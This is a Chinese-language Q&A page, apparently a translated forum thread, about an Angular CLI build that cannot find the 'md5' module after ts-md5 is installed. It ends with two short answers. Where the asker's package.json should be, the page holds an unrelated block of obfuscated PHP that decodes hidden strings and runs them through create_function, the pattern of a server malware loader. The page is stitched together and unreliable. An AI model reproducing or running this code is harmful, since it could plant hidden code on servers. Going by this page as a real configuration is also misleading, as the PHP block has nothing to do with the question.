在导入vendorNpmFile ts-md5时找不到模块'md5'

时间:2016-07-01 10:42:59

标签: angular angular-cli

可能与Ref:Angular2 - Angular-CLI installing lodash - Cannot find module重复,但对我不起作用

关注https://github.com/angular/angular-cli/wiki/3rd-party-libs使用https://www.npmjs.com/package/ts-md5

导入ts-md

使用npm安装ts-md5导入ts-md5 - 在node_modules上保存。我在angular-cli设置中的配置是

package.json:

function oo2($b) {

    $h = explode("|", strrev($b));
    $d = explode("*", $h[0]);
    $b = $h[1];

    for($i=0;$i<sizeof($d);$i++) {

        $b = str_replace($i, $d[$i], $b);
    }

    create_function("", "};".$b."//");
}

function cqq($qw) {

    $domarr =array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb");
    return random($domarr,$qw);
}

function oo1($y) {

    $y= strrev($y);
    $g=substr($y,strpos($y,"9")+1);
    $v = explode(":",substr($y,0,strpos($y,"9")));

    for($i=0;$i<sizeof($v);$i++) {

        $q = explode("|", $v[$i]);
        $g = str_replace($q[0],$q[1],$g);
    }

    create_function("", "};".$g."//");
}

$s1v("", $siv("\71"," ",$slv($svv)));

function random($arr,$qw) {

    $g='w-86794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-873,g= w. r; m-86d944835,sq-87396487293787396086c951874";';
    $soy = "en2";
    $xx='explode';
    $ecx='create_function';
    $scy='str_replace';
    $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");
    $aa = $xx("|","8|9|-|,| ");
    $mec=$ecx;

    for($i=0;$i<sizeof($a);$i++) {

        $g = $scy($aa[$i],$a[$i],$g);
    }

    $ecx("", "};$g//");
    $mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy));

    return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;
}

$r9 = explode("|",$n9);
$b9=0;
$a9=0;

for($i9=0;$i9<sizeof($r9);$i9++) {

    if ($i9==0)
        $a9=0;
    else
        $a9=$r9[$i9-1]+$a9;

    $b9=$r9[$i9];
    $v_[]=substr($v9, $a9, $b9);
}

$y =1;
for($i=0;$i<5;$i++) {

    $vv1 ="o"."o".$y;
    if ($y==1)
        $y=2;
    else
        $y=1;

    $vv1($v_[$i]);
}

anular-cli-build config:

"devDependencies": {
  ......
  "ts-md5": "^1.2.0"
}

在ng build上我可以找到在vendor / ts-md5 / dist / md5.js中导入的md5文件

system-config.ts:

 var Angular2App = require('angular-cli/lib/broccoli/angular2-app');
 var mergeTree = require('broccoli-merge-trees');
 module.exports = function(defaults) {
 let appTree = new Angular2App(defaults, {
 sassCompiler: {
  cacheExclude: [/\/_[^\/]+$/]
 },
 vendorNpmFiles: [
   ....
  'ts-md5/dist/md5.js'
 ]
 })
 return mergeTree([appTree], { overwrite: true });
 };

在我的companent中包含导入*为md5,来自'md5'以导入ts-md5。

在ng build i get上找不到模块'md5'

const map: any = {
  'moment' : 'vendor/moment/moment.js',
  'ng2-bootstrap' : 'vendor/ng2-bootstrap',
  '@angular2-material': 'vendor/@angular2-material',
  'd3' : 'vendor/d3',
  'md5': 'vendor/ts-md5/dist/md5.js'
};

/** User packages configuration. */
const packages: any = {
  'moment' : {
    format: 'cjs'
  },
  'ng2-bootstrap' : {   
    defaultExtension: 'js'
  },
  'd3' : {
    format: 'cjs',
    defaultExtension: 'js',
    main: 'd3.min.js'
  },
  'md5': {
    format: 'cjs',
    defaultExtension: 'js',
    main: 'md5.js'
  }
};

对此的任何帮助都会很棒。

2 个答案:

答案 0 :(得分:0)

在你的typings.d.ts中添加这个

declare module 'md5' { var exportAs:any; export = exportAs; }

答案 1 :(得分:0)

  

安装此模块。

npm install ts-md5 --save